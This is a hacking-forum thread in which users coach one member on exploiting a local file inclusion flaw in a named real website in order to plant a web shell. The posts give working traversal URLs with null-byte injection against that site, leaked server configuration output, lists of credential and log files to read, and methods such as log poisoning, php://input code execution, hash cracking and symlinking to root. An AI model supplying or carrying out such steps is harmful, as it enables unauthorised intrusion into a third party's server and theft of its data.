[| Solo |]

well the reason you want /proc/self/environ is so we can spawn a cmd shell on the server. Since this isnt available, i really dont see a way of uploading a shell using that method. Perhaps haxor has another way to do it.

[spectrum10]

Hey there!

Problem: I cant upload a shell through a FI attack (I dunno if its RFI or LFI).
URL:http://www.inforlandia.pt/index.php?m=../../../../etc/passwd%00
Timeframe: 1 Week
Additional Info: This isnt actually very important, but i would like to know how to upload a shell in this website's case.

Thanks a lot!

Logic is right about /proc/self/environ but you could always look at log files for password hashes. The hashes are not present in /etc/passwd :( but here are some other places you can look.

PHP Code


<?php 
etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default 


Also you could try reading source code with php://filters or try exploiting it through burp suite. Hooded Robin has a great tut for this.
[+]https://hackforums.net/showthread.php?tid=1992713
[+]https://hackforums.net/showthread.php?tid=1981091

Also some more interesting places to look:

PHP Code


<?php 
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log 


[| Solo |]

Thanx sp3c :) I was just going off the whole upload a shell using LFI thing :P

[spectrum10]

No problem XD thought i would help him learn a little more with lfi. Maybe he might find some hashes and crack root :} or read config file for the Database & site then find admin hash in the code, crack, login, upload shell.

[| Solo |]

Well he has full path disclosure. Could possibly exploit in metasploit depending on server version and whatnot.

[oH4i Hx0r]

Ill try that, Spectrum10!

Thank you all!

[spectrum10]

Ill try that, Spectrum10!

Thank you all!

No problem, good luck with your search ^^ Good day!

[Hooded Robin]

@oH4i Hx0r - Also don't forget to try the /proc/self/fd/<#> links which are usually a little easier to find than logs. I usually try this method before going on a wild goose hunt for random log files. If you can read /proc/self/status file you can read the FD_SIZE which will tell you how many possible links are contained under /proc/self/fd/x (can also replace self with the PID number from status page if you like). You will typically find them under 35 (/proc/self/fd/0-35) in my experience but you never know till you look. Also php://input method still works with NULL byte so you might also give that a quick try and see if you have direct RCE without much effort. I have made tuts on all this so just search my threads or check my blog....

PS - Nice thread guys!

[-DownFall]

Ill try that, Spectrum10!

Thank you all!

Maybe you should take a look at this.

Code

http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00

Code

ServerRoot    ::  /etc/apache2
DocumentRoot    ::  /var/www
Apache Config Files  ::  /etc/apache2/apache2.conf
    ::  /etc/apache2/ports.conf
Default VHost Config    ::  /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations  ::  /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog    ::  /var/log/apache2/error.log
AccessLog     ::  /var/log/apache2/access.log
cgi-bin     ::  /usr/lib/cgi-bin
binaries (apachectl)    ::  /usr/sbin
start/stop    ::  /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)

They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3

Good luck.

-DownFall

[oH4i Hx0r]

Maybe you should take a look at this.

Code

http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00

Code

ServerRoot    ::  /etc/apache2
DocumentRoot    ::  /var/www
Apache Config Files  ::  /etc/apache2/apache2.conf
    ::  /etc/apache2/ports.conf
Default VHost Config    ::  /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations  ::  /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog    ::  /var/log/apache2/error.log
AccessLog  ::  /var/log/apache2/access.log
cgi-bin  ::  /usr/lib/cgi-bin
binaries (apachectl)    ::  /usr/sbin
start/stop    ::  /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)

They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3

Good luck.

-DownFall

Thanks a lot man, i appreciate your work! :)

[spectrum10]

@oH4i Hx0r - Also don't forget to try the /proc/self/fd/<#> links which are usually a little easier to find than logs. I usually try this method before going on a wild goose hunt for random log files. If you can read /proc/self/status file you can read the FD_SIZE which will tell you how many possible links are contained under /proc/self/fd/x (can also replace self with the PID number from status page if you like). You will typically find them under 35 (/proc/self/fd/0-35) in my experience but you never know till you look. Also php://input method still works with NULL byte so you might also give that a quick try and see if you have direct RCE without much effort. I have made tuts on all this so just search my threads or check my blog....

PS - Nice thread guys!

I linked him two of your tuts here, and thanks for the help and liking thread Hooded robin!

[Hooded Robin]

PS - If you can find the phpinfo file shoot me a PM and I can try some other magic :)

[| Solo |]

They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3

Good luck.

-DownFall

Well if he does manage to shell it, he can symlink to root and have a field day.

Other usefull link:

http://www.inforlandia.pt/index.php?m=.....sql/my.cnf

[spectrum10]

Maybe you should take a look at this.

Code

http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00

Code

ServerRoot    ::  /etc/apache2
DocumentRoot    ::  /var/www
Apache Config Files  ::  /etc/apache2/apache2.conf
    ::  /etc/apache2/ports.conf
Default VHost Config    ::  /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations  ::  /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog    ::  /var/log/apache2/error.log
AccessLog  ::  /var/log/apache2/access.log
cgi-bin  ::  /usr/lib/cgi-bin
binaries (apachectl)    ::  /usr/sbin
start/stop    ::  /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)

They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3

Good luck.

-DownFall

Thanks for your help DownFall! Much appreciated!

[dawnofwar]

The level of help in this thread disgusts me.
Look at these guys, thinking they own the world, parading around here like they are doing something good.

Dispicable. 😈